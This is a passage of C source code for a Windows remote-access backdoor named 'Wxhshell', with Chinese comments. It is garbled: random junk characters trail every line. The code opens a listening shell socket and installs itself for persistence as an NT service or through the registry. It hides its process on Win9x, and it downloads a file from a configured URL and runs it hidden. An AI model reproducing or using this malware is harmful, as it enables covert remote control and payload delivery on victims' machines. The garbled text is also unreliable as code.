DWORD AffinityMask; `:^)"#z)
DWORD BasePriority; X#\P.$
ULONG UniqueProcessId; 0^tJX1L
ULONG InheritedFromUniqueProcessId; I?xhak1)lu
} PROCESS_BASIC_INFORMATION; tI(t%~>^
&opH\wa
PROCNTQSIP NtQueryInformationProcess; Yh!\:9@(
=K&q;;h
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &b#NF1Q.
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i~M.F=I5
{UjIxV(J
HANDLE hProcess; N'1 [t
PROCESS_BASIC_INFORMATION pbi; ,'@ISCK^
ZBh@%A
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'XjHB!!hU
if(NULL == hInst ) return 0; J1wGK|F~
%>QSeX
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e[Ul"pMvS`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?(XX
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); UW~tS
boHm1hPKS
if (!NtQueryInformationProcess) return 0; Y{\2wU!Isn
r;s3(@[,@
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i_Q4bhVj
if(!hProcess) return 0; r'}k`A5>
P|QnZ){
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; k@X
As
"q#g/T
CloseHandle(hProcess); eXtF[0f
~s^6Q#Z9|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fTnyCaB
if(hProcess==NULL) return 0; 1</t #r
B?>#cpWj
HMODULE hMod; P<w>1
=
char procName[255]; Tlv|To
unsigned long cbNeeded; MZ#2WP)F
[@71
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OjL"0imN6
_O'rZ5}&
CloseHandle(hProcess); {s^n|b}
So0,)
if(strstr(procName,"services")) return 1; // 以服务启动 W!Os ci
kO O~%|1CP
return 0; // 注册表启动 O#ajoE
} 0DjBqh$
*xX0]{49q
// 主模块 X([n>w
int StartWxhshell(LPSTR lpCmdLine) a}8>(jtSt
{ n@8{FoF
SOCKET wsl; oz7udY=]0
BOOL val=TRUE; OTbjZ(
int port=0; {d5ur@G1
struct sockaddr_in door; AHg4kG
?@7|Q/
if(wscfg.ws_autoins) Install(); ErUk>V
.*..pf|/
port=atoi(lpCmdLine); ?J1&,'&
Le+8s LE`Y
if(port<=0) port=wscfg.ws_port; +]2~@=<@
o]k]pNO
WSADATA data; 2H0q\zZ
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "VhrsVT
z[I/ AORl
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [}Yci:P_ +
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j;c^pLUP
door.sin_family = AF_INET; Q14;G<l-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); |r!Qhb.!
door.sin_port = htons(port); ;C@^wI
.ceU @^
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ptxc9~k
closesocket(wsl); LGue=Hkp
return 1; g{.@|;d<p
} <\Dl#DH
8c'-eT"
if(listen(wsl,2) == INVALID_SOCKET) { U\plt%2m>
closesocket(wsl); s.Ic3ITd,
return 1; 15yV4wHr
} F973U
Wxhshell(wsl); <qZ+U4@I)
WSACleanup(); "U~@o4u;
(4gQe6tA
return 0; Aba%Gh
@g` ,'r
} JaN_[ou
`9NnL.w!
// 以NT服务方式启动 I ywx1ac
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GOgT(.5
{ Nv#, s_hG
DWORD status = 0; o*S $j Cf?
DWORD specificError = 0xfffffff; X Ow^"=Oa[
MPw7!G(qj
serviceStatus.dwServiceType = SERVICE_WIN32; zb*4Nsda:
serviceStatus.dwCurrentState = SERVICE_START_PENDING; FO3*[O
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n ]g,)m
serviceStatus.dwWin32ExitCode = 0; ^qy-el
serviceStatus.dwServiceSpecificExitCode = 0; _A~gqOe
serviceStatus.dwCheckPoint = 0; E^ti!4{<
serviceStatus.dwWaitHint = 0; \?IwR]@y
\Xp"I5
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8xz7S
if (hServiceStatusHandle==0) return; J #5o
s: .XF|e{
status = GetLastError(); |1 6v4 R
if (status!=NO_ERROR) pNsLoNZ3w
{ (M?Q9\X
serviceStatus.dwCurrentState = SERVICE_STOPPED; _
q1|\E%`h
serviceStatus.dwCheckPoint = 0; +F6_P
serviceStatus.dwWaitHint = 0; BFRSYwPr
serviceStatus.dwWin32ExitCode = status; X+BSneu
serviceStatus.dwServiceSpecificExitCode = specificError; y6yseR!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $+N^ s^
return; S :|*wB
} U6 R4UK
*XR~fs?/*W
serviceStatus.dwCurrentState = SERVICE_RUNNING; }J
lW\#
serviceStatus.dwCheckPoint = 0; (NlEb'~+
serviceStatus.dwWaitHint = 0; [Y~ s
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `a9>4
} U Bg_b?k
*a.*Ha
// 处理NT服务事件,比如:启动、停止 kV<)>Gs
VOID WINAPI NTServiceHandler(DWORD fdwControl) )SLs
[
{ a
VMFjkW
switch(fdwControl) \5_^P{p7<
{ (LPc\\Vv
case SERVICE_CONTROL_STOP: 4 (gf!U
serviceStatus.dwWin32ExitCode = 0; p-Btbhv
serviceStatus.dwCurrentState = SERVICE_STOPPED; K Hc +
serviceStatus.dwCheckPoint = 0; e4LNnJU\|
serviceStatus.dwWaitHint = 0; QQcj"s
{ 2geC3v% 0o
SetServiceStatus(hServiceStatusHandle, &serviceStatus); DgP%Q
} vGDo?X~#o
return; 9^olAfX`dB
case SERVICE_CONTROL_PAUSE: xb;mm9H
serviceStatus.dwCurrentState = SERVICE_PAUSED; f ebh1rUX
break; fe/6JV
case SERVICE_CONTROL_CONTINUE: e8v=n@0
serviceStatus.dwCurrentState = SERVICE_RUNNING; p$<qT^]&
break; 3S?+G)qKo
case SERVICE_CONTROL_INTERROGATE: %tLq&tyeY
break; ?^Ux+mVE
}; U0T N8O}Z
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R:p,Hav<q
} g{(nt5|^l
x~^nlnKVf
// 标准应用程序主函数 WGK::?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *RM'0[1F4
{ Uc2#so$9
Z;s-t\C
// 获取操作系统版本 g&wQ^
OsIsNt=GetOsVer(); v,B\+q/
GetModuleFileName(NULL,ExeFile,MAX_PATH); _Y=yR2O
mAa]Et.
// 从命令行安装 kMXl
{
if(strpbrk(lpCmdLine,"iI")) Install(); s9>!^MzBK
S#dS5OX
// 下载执行文件 }IL@j A
if(wscfg.ws_downexe) { Awh)@iTL
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mws.)
WinExec(wscfg.ws_filenam,SW_HIDE); A@r,A?(
} $Plk4 o*g
`Mg
"!n`
if(!OsIsNt) { eo[^ij
// 如果时win9x,隐藏进程并且设置为注册表启动 7m:, -xp
HideProc(); i/z7a%$
StartWxhshell(lpCmdLine); ],|B4\b ;
} ^eii
4
else Y}Uw7\e
if(StartFromService()) l<?wB|1'
// 以服务方式启动 NBX/V^
StartServiceCtrlDispatcher(DispatchTable); *Yw6UCO
else R#M).2::
// 普通方式启动 wxxC&!
StartWxhshell(lpCmdLine); WTx;,TNG
L8Q!6oO=<
return 0; Y`uCDfcQ
}